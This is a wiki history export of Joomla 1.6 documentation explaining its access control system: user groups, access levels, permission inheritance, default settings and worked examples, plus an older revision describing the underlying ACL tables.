{| cellspacing=&amp;quot;0&amp;quot; cellpadding=&amp;quot;4&amp;quot; border=&amp;quot;1&amp;quot;&lt;br /&gt;
| &amp;lt;br /&amp;gt;&lt;br /&gt;
| Version 1.5&lt;br /&gt;
| Version 1.6&lt;br /&gt;
|-&lt;br /&gt;
| Groups&lt;br /&gt;
| 7 fixed groups (Public, Registered, Author, Editor, Publisher, 			Manager, Administrator, and Super-Administrator)&lt;br /&gt;
| Unlimited user-defined Groups&lt;br /&gt;
|-&lt;br /&gt;
| Users &amp;amp; Groups&lt;br /&gt;
| A User can be assigned to only one group&lt;br /&gt;
| A User can be assigned to multiple groups&lt;br /&gt;
|-&lt;br /&gt;
| Access Levels&lt;br /&gt;
| 3 fixed Access Levels (Public, Registered, Special)&lt;br /&gt;
| Unlimited user-defined Access Levels&lt;br /&gt;
|-&lt;br /&gt;
| Access Levels &amp;amp; Groups&lt;br /&gt;
| Relationship between Groups and Access Levels was fixed.&lt;br /&gt;
| Groups are assigned to Access Levels. Any combination of Groups 			can be assigned to any Access Level.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
We see that in every case the ACL has been made much more flexible, with unlimited Groups and Access Levels, and the ability to assign one User to multiple Groups and any Groups to any Access Level.&lt;br /&gt;
&lt;br /&gt;
==Actions, Groups, and Inheritance==&lt;br /&gt;
&lt;br /&gt;
The other side of ACL is granting permissions to users to take actions on objects. Here again there is a big change between Version 1.5 and 1.6. In 1.5, the actions allowed for a given group were fixed. For example, a User in the Author group could only submit an article whereas someone in the Publisher group could submit, edit, and publish articles. Also, in version 1.5 the permissions were all-or-nothing. A member of the Editor group could edit all articles on the site.&lt;br /&gt;
&lt;br /&gt;
The table below shows what has changed between versions 1.5 and 1.6.&lt;br /&gt;
&lt;br /&gt;
{| cellspacing=&amp;quot;0&amp;quot; cellpadding=&amp;quot;4&amp;quot; border=&amp;quot;1&amp;quot;&lt;br /&gt;
| &amp;lt;br /&amp;gt;&lt;br /&gt;
| Version 1.5&lt;br /&gt;
| Version 1.6&lt;br /&gt;
|-&lt;br /&gt;
| Groups and Actions&lt;br /&gt;
| Actions allowed by different groups are fixed.&lt;br /&gt;
| Actions allowed for each group are defined by site administrator.&lt;br /&gt;
|-&lt;br /&gt;
| Permission Scope&lt;br /&gt;
| Entire Site. User has same permissions for all objects on the site.&lt;br /&gt;
| Permissions can be set at multiple levels in hierarchy: Site, Component, Category, Object.&lt;br /&gt;
|-&lt;br /&gt;
| Permission Inheritance&lt;br /&gt;
| Not applicable&lt;br /&gt;
| Permissions can be inherited from parent Groups and parent Categories&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==How Permissions Work==&lt;br /&gt;
&lt;br /&gt;
There are four possible permissions for actions, as outlined below:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Not set&#039;&#039;&#039;: Defaults to &amp;quot;deny&amp;quot; but, unlike the Deny permission, this permission can be overridden by setting a child group or a lower level in the permission hierarchy to &amp;quot;Allow&amp;quot;. This permission only applies to the Global Configuration permissions. &lt;br /&gt;
* &#039;&#039;&#039;Inherit&#039;&#039;&#039;: Inherits the value from a parent Group or from a higher level in the permission hierarchy. This permission applies to all levels except the Global Configuration level.&lt;br /&gt;
* &#039;&#039;&#039;Deny&#039;&#039;&#039;: Denies this action for this level and group. &#039;&#039;&#039;IMPORTANT:&#039;&#039;&#039; This also denies this action for all child groups and all lower levels in the permission hierarchy. Putting in Allow for a child group or a lower level will not have any effect. The action will always be denied for any child group member and for any lower level in the permission hierarchy.&lt;br /&gt;
* &#039;&#039;&#039;Allow&#039;&#039;&#039;: Allows this action for this level and group and for lower levels and child groups. This does not have any effect if a higher group or level is set to Deny or Allow. If a higher group or level is set to Deny, then this permission will always be denied. If a higher group or level is set to Allow, then this permission will already be allowed.&lt;br /&gt;
&lt;br /&gt;
==Permission Hierarchy Levels==&lt;br /&gt;
&lt;br /&gt;
Action permissions in version 1.6 can be defined at up to four levels, as follows:&lt;br /&gt;
# &#039;&#039;&#039;Global Configuration&#039;&#039;&#039;: determines the default permissions for each action and group. &lt;br /&gt;
# &#039;&#039;&#039;Component Options-&amp;gt;Permissions&#039;&#039;&#039;: can override the default permissions for this component (for example, Articles, Menus, Users, Banners, and so on)&lt;br /&gt;
# &#039;&#039;&#039;Category&#039;&#039;&#039;: can override the default permissions for objects in one or more categories. Applies to all components with categories, including Articles, Banners, Contacts, Newsfeeds, and Weblinks. &lt;br /&gt;
# &#039;&#039;&#039;Article&#039;&#039;&#039;: Can override the permissions for a specific article. This level only applies to articles. Other components only allow the first three levels.&lt;br /&gt;
&lt;br /&gt;
===Global Configuration===&lt;br /&gt;
This is accessed from Site &amp;amp;rarr; Global Configuration &amp;amp;rarr; Permissions. This screen allows you set the top-level permission for each group for each action, as shown in the screenshot below. &lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-01.png|center]]&lt;br /&gt;
The options for each value are Inherited, Allowed, or Denied. The Calculated Setting column shows you the setting in effect. It is either Not Allowed (the default), Allowed, or Denied.&lt;br /&gt;
&lt;br /&gt;
You work on one Group at a time by opening the slider for that group. You change the permissions in the Select New Settings drop-down list boxes. &lt;br /&gt;
&lt;br /&gt;
Note that the Calculated Setting column is not updated until you press the Save button in the toolbar. To check that the settings are what you want, press the Save button and check the Calculated Settings column.&lt;br /&gt;
&lt;br /&gt;
===Component Options-&amp;gt;Permissions===&lt;br /&gt;
This is accessed for each component by clicking the Options icon in the toolbar. This screen is similar to the Global Configuration screen above. For example, clicking the Options toolbar icon in the Menu Manager shows the Menus Configuration below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-02.png|center]]&lt;br /&gt;
Access to Options is only available to members of groups who have permission for the Configure action in for each component. In the example above, the Administrator group has Allowed permission for the Configure option, so members of this group can access this screen.&lt;br /&gt;
&lt;br /&gt;
===Category===&lt;br /&gt;
Category permissions are accessed in the Category Manager: Edit Category screen, in a slider at the bottom of the screen. This screen has five permissions, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-03.png|center]]&lt;br /&gt;
In these screens, you work on the permissions for one User Group at a time. In the example above, we are editing the permissions for the Administrator group.&lt;br /&gt;
&lt;br /&gt;
Note that the Configure and Access Component actions do not apply at the category level, so those actions are not included.&lt;br /&gt;
&lt;br /&gt;
Note also that Categories can be arranged in a hierarchy. If so, then action permissions in a parent category are inherited automatically by a child category. For example, if you had a category hierarchy of Animals &amp;amp;rarr; Pets &amp;amp;rarr; Dogs, then the full permission level hierarchy for an article in the Dogs category would be as follows:&lt;br /&gt;
* Global Configuration&lt;br /&gt;
* Article Manager &amp;amp;rarr; Options &amp;amp;rarr; Permission&lt;br /&gt;
* Animals Category&lt;br /&gt;
* Pets Category&lt;br /&gt;
* Dogs Category&lt;br /&gt;
* specific article&lt;br /&gt;
&lt;br /&gt;
===Article===&lt;br /&gt;
Permissions for a single article are access in the Article Manager: Edit Article screen, again in a slider at the bottom of the screen. This screen has three actions, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-04.png|center]]&lt;br /&gt;
Again, you edit each group by clicking on it to open the slider for that group. You can then change the permissions under the Select New Setting column. To see the effect of any changes, press the Save button to update the Calculated Setting column.&lt;br /&gt;
&lt;br /&gt;
Note that the Configure, Access Component, and Create actions do not apply at the article level, so these actions are not included. Permission to create an article is set at one of the higher levels in the hierarchy.&lt;br /&gt;
&lt;br /&gt;
==Access Levels==&lt;br /&gt;
&lt;br /&gt;
Access Levels in version 1.6 are simple and flexible. The screen below shows the Special Access Level.  &lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-05.png|center]]&lt;br /&gt;
Simply check the box for each group you want included in that level. The Special Access Level includes the Manager, Author, and Super Users groups. It also includes child groups of those groups. So, Administrator group is included, since it is a child group of the Manager group. The Editor, Publisher, and Shop Suppliers groups are included, since they are child groups of Author. (Note that we could check all of the child groups if we wanted and it wouldn&#039;t hurt anything.)&lt;br /&gt;
&lt;br /&gt;
Once Access Levels are created, they are used in the same way as in version 1.5. Each object in the front end is assigned an Access Level. If the level is Public, then anyone may access that object. Otherwise, only members of groups assigned to that access level may access that object. Access levels are assigned to Menu Items and to Modules. Each one can only be assigned to one access level.&lt;br /&gt;
&lt;br /&gt;
For example, the screen below shows the Edit Menu Item screen with the list of available access levels.&lt;br /&gt;
&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-06.png|center]]&lt;br /&gt;
&lt;br /&gt;
=Default ACL Setup=&lt;br /&gt;
&lt;br /&gt;
When Joomla! is installed, these are set to their initial default settings. We will discuss these initial settings as a way to understand how the ACL works.&lt;br /&gt;
&lt;br /&gt;
==Default Groups==&lt;br /&gt;
&lt;br /&gt;
Version 1.6 allows you to define your own Groups. When you install version 1.6, it includes a set of default groups, as shown below. &lt;br /&gt;
&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-07.png|center]]&lt;br /&gt;
&lt;br /&gt;
The arrows indicate the child-parent relationships. As discussed above, when you set a permission for a parent group, this permission is automatically inherited by all child groups. The Inherited, and Allowed permissions can be overridden for a child group. The Denied permission cannot be overridden and will always deny an action for all child groups.&lt;br /&gt;
&lt;br /&gt;
==Global Configuration==&lt;br /&gt;
&lt;br /&gt;
Joomla! version 1.6 will install with the same familiar back-end permissions as that of version 1.5. However, with 1.6, you can easily change these to suit the needs of your site.&lt;br /&gt;
&lt;br /&gt;
As discussed earlier, the permissions for each action are inherited from the level above in the permission hierarchy and from a group&#039;s parent group. Let&#039;s see how this works. The top level for this is the entire site. This is set up in the Site-&amp;gt;Global Configuration-&amp;gt;Permissions, as shown below.&lt;br /&gt;
&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-08.png|center|]]&lt;br /&gt;
&lt;br /&gt;
The first thing to notice are the nine Actions: Site Login, Admin Login, Super Admin, Access Component, Create, Delete, Edit, Edit State. and Edit Own. These are the actions that a user can perform on an object in Joomla. The specific meaning of each action depends on the context. For the Global Configuration screen, they are defined as follows:&lt;br /&gt;
&lt;br /&gt;
;Site Login : Login to the front end of the site&lt;br /&gt;
&lt;br /&gt;
;Admin Login : Login to the back end of the site&lt;br /&gt;
&lt;br /&gt;
; Super Admin : Grants the user &amp;quot;super user&amp;quot; status. Users with this permission can do anything on the site. Only users with this permission can change Global Configuration settings (this screen). These permissions cannot be restricted. It is important to understand that, if a user is a member of a Super Admin group, any other permissions assigned to this user are irrelevant. The user can do anything action on the site. However, Access Levels can still be assigned to control what this group sees on the site. (Obviously, a Super Admin user can change Access Levels if they want to, so Access Levels do not totally restrict what a Super Admin user can see.)&lt;br /&gt;
&lt;br /&gt;
;Access Component: Open the component manager screens (User Manager, Menu Manager, Article Manager, and so on)&lt;br /&gt;
&lt;br /&gt;
;Create : Create new objects (for example, users, menu items, articles, weblinks, and so on)&lt;br /&gt;
&lt;br /&gt;
;Delete : Delete existing objects&lt;br /&gt;
&lt;br /&gt;
;Edit : Edit existing objects&lt;br /&gt;
&lt;br /&gt;
;Edit State : Change object state (Publish, Unpublish, Archive, and Trash)&lt;br /&gt;
&lt;br /&gt;
;Edit Own : Edit objects that you have created. &lt;br /&gt;
&lt;br /&gt;
Each Group for the site has its own slider which is opened by clicking on the group name. In this case (with the sample data installed), we have the standard 7 groups that we had in version 1.5 plus two additional groups called &amp;quot;Shop Suppliers&amp;quot; and &amp;quot;Customer Group&amp;quot;. Notice that our groups are set up with the same permissions as they had in version 1.5. Keep in mind that we can change any of these permissions to make the security work the way we want. Let&#039;s go through this to see how it works.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Public&#039;&#039;&#039; has everything set to &amp;quot;Not set&amp;quot;, as shown below. &lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110112-06.png|center|]]&lt;br /&gt;
: This can be a bit confusing. Basically, &amp;quot;Not Set&amp;quot; is the same as &amp;quot;Inherited&amp;quot;. Because Public is our top-level group, and because Global Configuration is the top level of the component hierarchy, there is nothing to inherit from. So &amp;quot;Not Set&amp;quot; is used instead of &amp;quot;Inherit&amp;quot;.  &lt;br /&gt;
: The default in this case is for no permissions. So, as you would expect, the Public group has no special  permissions. Also, it is important to note that, since nothing is set to Denied, all of these permissions may be overridden by child groups or by lower levels in the permission hierarchy.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Manager&#039;&#039;&#039;  is a &amp;quot;child&amp;quot; group of the Public group. It has Allowed permissions for everything except Access Component and Super Admin. So a member of this group can do everything in the front and back end of the site except change Global Permissions and Component Options. &lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Administrator&#039;&#039;&#039;  group members inherit all of the Manager permissions and also have Allowed for Access Component. So members of this group by default can access the Options screens for each component.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Registered&#039;&#039;&#039; is the same a Public except for the Allow permission for the Site Login action. This means that members of the Registered group can login to the site. Since default permissions are inherited, this means that, unless a child group overrides this permission, all child groups of the Registered group will be able to login as well.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Author&#039;&#039;&#039;  is a child of the Registered group and inherits its permissions and also adds Create and Edit Own. Since Author, Editor, and Publisher have no back-end permissions, we will discuss them below, when we discuss front-end permissions.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Editor&#039;&#039;&#039; is a child of the Authors group and adds the Edit permission.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Publisher&#039;&#039;&#039; is a child of Editor and adds the Edit State permission.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Shop Suppliers&#039;&#039;&#039; is an example group that is installed if you install the sample data. It is a child group of Author.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Customer Group&#039;&#039;&#039; is an example group that is installed if you install the sample data. It is a child group of Registered.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Super Users&#039;&#039;&#039; group has the Allow permission for the Super Admin action. Because of this, members of this group have super user permissions throughout the site. They are the only users who can access and edit values on the Global Configuration screen. Users with permission for the Super Admin action have some special characteristics:&lt;br /&gt;
** If a user has Super Admin permissions, no other permissions for this user matter. The user can do any action in the site.&lt;br /&gt;
** Only Super Admin users can create, edit, or delete other Super Admin users or groups.&lt;br /&gt;
&lt;br /&gt;
There are two very important points to understand from this screen. The first is to see how the permissions can be inherited from the parent Group. The second is to see how you can control the default permissions by Group and by Action.&lt;br /&gt;
&lt;br /&gt;
This provides a lot of flexibility. For example, if you wanted Shop Suppliers to be able to have the ability to login to the back end, you could just change their Admin Login value to &amp;quot;Allowed&amp;quot;. If you wanted to not allow members of Administrator group to delete objects or change their state, you would change their permissions in these columns to Inherited (or Denied).&lt;br /&gt;
&lt;br /&gt;
It is also important to understand that the ability to have child groups is completely optional. It allows you to save some time when setting up new groups. However, if you like, you can set up all groups to have Public as the parent and not inherit any permissions from a parent group.&lt;br /&gt;
&lt;br /&gt;
==Component Options &amp;amp; Permissions==&lt;br /&gt;
&lt;br /&gt;
Now, let&#039;s continue to see how the default back-end permissions for version 1.6 mimic the permissions for version 1.5. The Super Users group in 1.6 is equivalent to the Super Administrator group in 1.5.&lt;br /&gt;
&lt;br /&gt;
Just looking at the Global Configuration screen above, it would appear that the Administrator group and the Manager group have identical permissions. However, in version 1.5 Administrators can do everything except Global Configuration, whereas Managers are not permitted to add users or work with menu items. That is also true in the default version 1.6 configuration. Let&#039;s see how this is accomplished.&lt;br /&gt;
&lt;br /&gt;
If we navigate to Users-&amp;gt;User Manager and click the Options button in the toolbar, we see the screen below:&lt;br /&gt;
&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-09.png|center|]]&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-10.png|center|]]&lt;br /&gt;
&lt;br /&gt;
This screen is the same as the Global Configuration Permissions screen, except that these values only affect working with Users. Let&#039;s look at how this works.&lt;br /&gt;
&lt;br /&gt;
First, notice that the Administrator group has Allow permission for the Admin action and the Manager group has Deny permission for this action. Remember that the Admin action in the Global Configuration screen gives the group &amp;quot;super user&amp;quot; permissions. In this screen, the Admin action allows you to edit the Options values. So, the Administrator group can do this but the Manager group cannot.&lt;br /&gt;
&lt;br /&gt;
Next, notice that the Administrator has Inherit for the Manage action and the Manager group has Deny permission. In this screen, the Manage action gives a group access to the User Manager. Since the Administrator has Allow for the Manage action by default, then the Inherit permission here means they inherit the Allow permission for the Manage action. Since the Manager group has Deny permission for the Manage action, members of the Manager group cannot access the User Manager and therefore cannot do any of the other user-related actions.&lt;br /&gt;
&lt;br /&gt;
If you look at the Options for Menus-&amp;gt;Menu Manager, you will see the same default settings as for the User Manager. Again, the Administrator group can manage and set default permissions for Menu Manager objects whereas the Manager group cannot.&lt;br /&gt;
&lt;br /&gt;
In short, we can see that the different permissions for the Administrator and Manager groups are set using the Options-&amp;gt;Permissions forms on the User Manager and Menu Manager screens.&lt;br /&gt;
&lt;br /&gt;
It is also important to understand that this same Options-&amp;gt;Permissions form for setting default permissions is available for all Joomla! objects, including Media Manager, Banners, Contacts, Newsfeeds, Redirect, Search Statistics, Web Links, Extensions, Modules, Plugins, Templates, and Language. So you now have the option to create user groups with fine-tuned sets of back-end permissions.&lt;br /&gt;
&lt;br /&gt;
==Front End Permissions==&lt;br /&gt;
&lt;br /&gt;
Default permissions for the front end are also set using the Options form. Let&#039;s look at Content-&amp;gt;Article Manager-&amp;gt;Options-&amp;gt;Permissions. First, let&#039;s look at the permissions for Manager, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-11a.png|center|frame]]&lt;br /&gt;
Manager has allowed permission for all actions except Configure. So members of the Manager group can do everything with Articles except open the Options screen.&lt;br /&gt;
&lt;br /&gt;
Now let&#039;s look at Administrator, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-12a.png|center|frame]]&lt;br /&gt;
Administrator has Allowed for Configure, so Administrators can edit this Options screen.&lt;br /&gt;
&lt;br /&gt;
Both groups can create, delete, edit, and change the state of articles.&lt;br /&gt;
&lt;br /&gt;
Now, let&#039;s look at the groups Publisher, Editor, and Author and see how their permissions are set. &lt;br /&gt;
&lt;br /&gt;
Authors only have Create and Edit Own permissions, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110112-07.png|center|frame]]&lt;br /&gt;
This means that Authors can create articles and can edit articles they have created. They may not delete articles, change the published state of articles, or edit articles created by others.&lt;br /&gt;
&lt;br /&gt;
Editors have the same permissions as Authors with the addition of permission for the Edit action, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110112-08.png|center|frame]]&lt;br /&gt;
So Editors can edit articles written by anyone.&lt;br /&gt;
&lt;br /&gt;
Publishers can do everything Editors can do plus they have permission for the Edit State action, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110112-09.png|center|frame]]&lt;br /&gt;
So Publishers can change the published state of an article. The possible states include Published, Unpublished, Archived, and Trashed.&lt;br /&gt;
&lt;br /&gt;
All of these groups have Inherit permission for Configure and Access Component. Remember that Author is a child of the Registered group, and Registered does not have any default permissions except for Login. Since Registered does not have permission for Configure and Access Component, and since Author&#039;s permission for these actions is &amp;quot;Inherited&amp;quot;, then Author does not have these permissions either. This same permission is passed from Author to Editor and from Editor to Publisher. So, by default, none of these groups are allowed to work with articles in the back end.&lt;br /&gt;
&lt;br /&gt;
It is important to remember that these permissions are only default settings for categories and articles and for any child groups that are created. So they can be overridden for child groups, for categories, and for specific articles. &lt;br /&gt;
&lt;br /&gt;
Also, note that there are no Denied permissions for any actions in the default settings. This allows you to add Allowed permissions at any level. Remember, once you have an action set for Denied, this action will be denied at all lower levels in the hierarchy. For example, if you set the Admin Login for Registered to Denied (instead of Inherited), you could not grant Publishers Allowed permissions for this action.&lt;br /&gt;
&lt;br /&gt;
== Article Manager &amp;amp; Actions Diagram ==&lt;br /&gt;
&lt;br /&gt;
The diagram below shows how each action in the permissions form relates to the various options on the Article Manager screen.&lt;br /&gt;
&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-16.png|center|]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Configure&#039;&#039;&#039; allows you to view and change the Options for the component.&lt;br /&gt;
* &#039;&#039;&#039;Access Component&#039;&#039;&#039; allows you to navigate to the Article Manager. Without this permission, no other actions are possible.&lt;br /&gt;
* &#039;&#039;&#039;Create&#039;&#039;&#039; allows you to add new articles.&lt;br /&gt;
* &#039;&#039;&#039;Delete&#039;&#039;&#039; allows you to delete trashed articles. Note that the Delete icon only shows in the toolbar when you have the &amp;quot;Select State&amp;quot; filter set to &amp;quot;Trash&amp;quot;.&lt;br /&gt;
* &#039;&#039;&#039;Edit&#039;&#039;&#039; allows you to edit existing articles.&lt;br /&gt;
* &#039;&#039;&#039;Edit State&#039;&#039;&#039; allows to you Publish, Unpublish, Archive, or Trash articles.&lt;br /&gt;
* &#039;&#039;&#039;Edit Own&#039;&#039;&#039; is the same as Edit except that it only applies to articles written by you.&lt;br /&gt;
&lt;br /&gt;
=Allowing Guest-Only Access to Menu Items and Modules=&lt;br /&gt;
&lt;br /&gt;
Version 1.6 introduces the ability to create a View Access Level that is only for guests of the site (meaning a user who is not logged in). The example below shows how you can set up this new feature.&lt;br /&gt;
&lt;br /&gt;
#Create a new user group called Guest. Make it a child of the Public group as shown below. [[Image:screenshot_acl_tutorial_20110112-01.png|center|frame]] &lt;br /&gt;
# Create a new access level called Guest and grant only the Guest group access to this level, as shown below.[[Image:screenshot_acl_tutorial_20110112-02.png|center|frame]]&lt;br /&gt;
# Edit the Public access level and add the Guest group to it, as shown below.[[Image:screenshot_acl_tutorial_20110112-03.png|center|frame]]&lt;br /&gt;
# Navigate to User Manager&amp;amp;rarr;Options&amp;amp;rarr;Component and change the Guest User Group from the default value of &amp;quot;Public&amp;quot; to &amp;quot;Guest&amp;quot;, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110112-04.png|center|frame]]&lt;br /&gt;
&lt;br /&gt;
Now, if we assign a menu item, module, or other object to the Guest access level, only non-logged in users will have access. For example, if we create a new menu item with access level of Guest, as shown below, &lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110112-05.png|center|frame]]&lt;br /&gt;
this menu item will only be visible to non-logged-in visitors to the site.  Login/logout in frontend (for changing data in session) to see the change.&lt;br /&gt;
&lt;br /&gt;
=Using Permission and Group Levels Together=&lt;br /&gt;
&lt;br /&gt;
As discussed above, it is possible to define groups in a hierarchy, where each child group inherits action permissions (for example, the create permission) from its parent group. Action permissions are also be inherited from the permission level above. For example, a permission in the Article Manager is inherited from the same permission in the Global Configuration, and a permission in a child Category is inherited from the parent Category permission.&lt;br /&gt;
&lt;br /&gt;
This dual inheritance can be confusing, but it can also be useful. Let&#039;s consider an example as follows. We have a school with a group hierarchy of Teachers → History Teachers → Assistant History Teachers. We also have a category hierarchy of Assignments → History Assignments. We want History Teachers and Assistant History Teachers to have the following permissions:&lt;br /&gt;
&lt;br /&gt;
* both groups can create new articles only in the History Assignments category.&lt;br /&gt;
&lt;br /&gt;
* only History Teachers (not Assistant History Teachers) can Publish or otherwise have Edit State permission.&lt;br /&gt;
&lt;br /&gt;
This ACL scheme is very easy to implement. The diagram below shows how this would be set up for the Create Action.&lt;br /&gt;
&lt;br /&gt;
[[Image:Acl example diagram1 20091018.png|center|]]&lt;br /&gt;
&lt;br /&gt;
In the diagram, the Permission Hierarchy is shown down the left side and the Group hierarchy is shown across the top. Permissions are inherited down and to the right, as shown by the arrows. To implement the desired permissions, we leave the Global Configuration blank (Not Set) for all three groups. Similarly, in the Article Manager and Assignments Category, we leave the Create permission to Inherit for all the groups. As shown in the diagram, this means that these groups do not have Create permission for articles in general or for articles in the Assignments group.&lt;br /&gt;
&lt;br /&gt;
To sum up so far, we have not set any special permissions to get to this point. Now, in the History Assignments category permissions screen, we set the Create permission to Allow for the History Teachers group. This setting overrides the Soft (Implicit) Deny that we had by default and gives members of this group permission to create content (articles and child categories) for this category. This Allow setting also is inherited by the Assistant History Teachers group.&lt;br /&gt;
&lt;br /&gt;
Next, we need to grant History Teachers the Edit State permission while denying this permission to Assistant History Teachers. This is done as shown in the diagram below.&lt;br /&gt;
&lt;br /&gt;
[[Image:Acl example diagram2 20091018.png|center|]]&lt;br /&gt;
&lt;br /&gt;
This configuration is the same as the one above except that this time we set the Edit State permission in the History Assignments category to Deny for the Assistant History Teachers group. This means that Assistant History Teachers will not be able to Publish or Unpublish articles in this category.&lt;br /&gt;
&lt;br /&gt;
Note that this was accomplished by setting just two permissions in the History Assignments category: Allow for the History Teachers group and Deny for the Assistant History Teachers group.&lt;br /&gt;
&lt;br /&gt;
=ACL Examples=&lt;br /&gt;
Here are some examples of how you might set up the ACL for some specific situations.&lt;br /&gt;
&lt;br /&gt;
==Back-end Article Administrator==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Problem:&#039;&#039;&#039; &lt;br /&gt;
&lt;br /&gt;
We want to create a group called &amp;quot;Article Administrator&amp;quot; with back-end permissions only for articles and not for any other back-end menu options. Members of this group should be able to use all of the features of the article manager, including setting article permissions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Solution:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Create a new group called Article Administrator and make its parent group Public, as shown below.[[Image:screenshot_acl_tutorial_20110112-10.png|center|frame]] Because its parent group is Public, it won&#039;t have any permissions by default.&lt;br /&gt;
# In Users &amp;amp;rarr; Access Levels, edit the Special Access level to add the new group. That way they can get access to the back end menu items and modules.[[Image:screenshot_acl_tutorial_20110112-11.png|center|frame]] By default, the back-end menu items and modules are set to Special access, so if you forget to add the new group to the Special access level, you won&#039;t see any modules or menu items when you log in as a user of the new group.&lt;br /&gt;
# In Site →  Global Configuration → Permissions, click on the Article Administrator group and change the permissions to Allowed for the following actions: Admin Login, Create, Delete, Edit, Edit State, and Edit Own. The screen below shows what will show before you press Save. [[Image:screenshot_acl_tutorial_20110112-12.png|center|frame]]After you save, the Calculated Permissions should show as shown below.[[Image:screenshot_acl_tutorial_20110112-13.png|center|frame]]Note that the permission for the Access Component is Inherited, which translates to Not Allowed. This is important. This means that this group will only be able to access components if we give the group &amp;quot;Allowed&amp;quot; permission for Access Component. So we only have to change the one component we want to give them access to and don&#039;t have to change any settings for the components where we don&#039;t want them to have access. If we had a case where we wanted to give a group access to everything except for one component, we could set the default to Allowed and then set the one component to Denied. Also note that we did not give the group Site Login permission, so users in this group will not be able to log into the front end. (If we wanted to allow that, we would just change the permission to Allowed for Site Login.)&lt;br /&gt;
# In Article Manager → Options → Permissions, change permissions to Allowed for this group for the Access Component action, as shown below.[[Image:screenshot_acl_tutorial_20110112-14.png|center|frame]]All of the other desired permissions are inherited.&lt;br /&gt;
&lt;br /&gt;
That&#039;s all you need to do. Members of this group can login to the back end and do everything in Article Manager but can&#039;t do anything else in the back end. For example, the screen below shows what a user in the Article Manager will see when they login to the back end.[[Image:screenshot_acl_tutorial_20110112-15.png|center|frame]]&lt;br /&gt;
[[Category:Joomla! 1.6]] [[Category:Tutorials]][[Category:Access Control]][[Category:Access Management]]&lt;/div&gt;</summary>
		<author><name>Robo1999</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Archived:Access_Control_System_In_Joomla_1.6&amp;diff=14001</id>
		<title>Archived:Access Control System In Joomla 1.6</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Archived:Access_Control_System_In_Joomla_1.6&amp;diff=14001"/>
		<updated>2009-04-23T20:59:19Z</updated>

		<summary type="html">&lt;p&gt;Robo1999: /* Users */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Overview==&lt;br /&gt;
===Sections===&lt;br /&gt;
Sections are used to group rules, actions, assets and assetgroups for each extension using the table jos_access_sections. This allows us to have completely seperate ACL systems for different extensions.&lt;br /&gt;
===Users===&lt;br /&gt;
These are users stored in jos_users table. Please note that gid and usertype fields are only there for legacy purposes and are not used in the current ACL system.&lt;br /&gt;
Users can be mapped to rules via jos_user_rule_map table.&lt;br /&gt;
in phpGACL, users were called AROs (Access Request Object)&lt;br /&gt;
&lt;br /&gt;
===User Groups===&lt;br /&gt;
These are user groups that are hold in table jos_usergroups. You can have nested user groups. Each group obviously can hold an unlimited number of users and each user can be assigned to an unlimited number of user groups. These relations are hold in the table jos_user_usergroup_map.&lt;br /&gt;
User groups can be mapped to rules via jos_usergroup_rule_map table.&lt;br /&gt;
===Actions===&lt;br /&gt;
Actions are things your users will perform such that logging in to backend&lt;br /&gt;
===Assets===&lt;br /&gt;
Assets are items that you need to set access control on. For example each article on your site can be an asset and you can set edit permission for them. Currently these are not used in core.&lt;br /&gt;
===Asset Groups===&lt;br /&gt;
These are used for creating different view permissions for a combination of usergroups. (???)&lt;br /&gt;
How this is achieved:&lt;br /&gt;
* First a view action is created with access type 3. (eg. core.view)&lt;br /&gt;
* Then an asset group is created with some user groups in it.&lt;br /&gt;
* A rule is set with the name convention {action_name}.{asset_group_id} (eg. core.view.1 for Public)&lt;br /&gt;
* Both action, assetgroup and user groups are mapped to this rule.&lt;br /&gt;
*When three of them maps to the same rule JUser::getAuthorisedLevels() will also return the new asset group id.&lt;br /&gt;
===Rules===&lt;br /&gt;
Rules are combinations of actions and usergroups (or users) and optionally assets&lt;br /&gt;
There are three types of rules:&lt;br /&gt;
* Type 1: These are rules that allow a user or user group to do an action. For example user group X can log in to backend.&lt;br /&gt;
* Type 2: These are rules that allow a user or user group to do an action on an asset. For example user group X can edit an article with the id of Y.&lt;br /&gt;
* Type 3: These are rules that allow a user or user group to do an action (mostly view) on an asset group. For example user group X can view articles with the asset group of Y. (???)&lt;br /&gt;
